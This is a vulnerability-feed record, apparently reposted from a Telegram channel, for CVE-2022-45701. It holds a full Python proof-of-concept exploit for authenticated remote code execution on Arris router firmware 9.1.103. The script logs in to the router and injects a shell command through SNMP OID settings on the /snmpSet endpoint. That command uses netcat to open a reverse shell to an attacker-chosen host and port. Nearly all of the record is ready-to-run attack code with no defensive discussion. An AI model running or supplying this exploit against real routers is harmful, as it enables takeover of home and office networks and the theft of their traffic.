{"uuid": "5e7c6cec-4ea0-409e-bc02-551ec098c718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-45701", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/90536", "content": "Exploit Collector\nArris Router Firmware 9.1.103 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png \nArris Router Firmware version 9.1.103 authenticated remote code execution exploit that has been tested against the TG2482A, TG2492, and SBG10 models.\n\nSHA-256 | c888a848e11678625335a5e6746925d5f7f030e21217d0ca2ec6555b03d7a881\n\nDownload\nc# Exploit Title: Arris Router Firmware 9.1.103 - Remote Code Execution (RCE) (Authenticated)\n# Date: 17/11/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://www.commscope.com/\n# Version: 9.1.103\n# Tested on: TG2482A, TG2492, SBG10\n# CVE : CVE-2022-45701\n\nimport requests\nimport base64\n\nrouter_host = \"http://192.168.0.1\"\nusername = \"admin\"\npassword = \"password\"\n\nlhost = \"192.168.0.6\"\nlport = 80\ndef main():\nprint(\"Authorizing...\")\ncookie = get_cookie(gen_header(username, password))\nif cookie == '':\nprint(\"Failed to authorize\")\nexit(-1)\nprint(\"Generating Payload...\")\npayload = gen_payload(lhost, lport)\nprint(\"Sending Payload...\")\nsend_payload(payload, cookie)\nprint(\"Done, check shell..\")\n\ndef gen_header(u, p):\nreturn base64.b64encode(f\"{u}:{p}\".encode(\"ascii\")).decode(\"ascii\")\n\ndef no_encode_params(params):\nreturn  \"&\".join(\"%s=%s\" % (k,v) for k,v in params.items())\n\ndef get_cookie(header):\nurl = router_host+\"/login\"\nparams = no_encode_params({\"arg\":header, \"_n\":1})\nresp=requests.get(url, params=params)\nreturn resp.content.decode('UTF-8')\n\ndef set_oid(oid, cookie):\nurl = router_host+\"/snmpSet\"\nparams = no_encode_params({\"oid\":oid, \"_n\":1})\ncookies = {\"credential\":cookie}\nrequests.get(url, params=params, cookies=cookies)\n\ndef gen_payload(h, p):\nreturn f\"$\\(nc%20{h}%20{p}%20-e%20/bin/sh)\"\n\ndef send_payload(payload, cookie):\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.1.0=16;2;\", cookie)\nset_oid(f\"1.3.6.1.4.1.4115.1.20.1.1.7.2.0={payload};4;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.3.0=1;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.4.0=64;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.5.0=101;66;\", cookie)\nset_oid(\"1.3.6.1.4.1.4115.1.20.1.1.7.9.0=1;2;\", cookie)\nif __name__ == '__main__':\nmain()\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:15.041048Z"}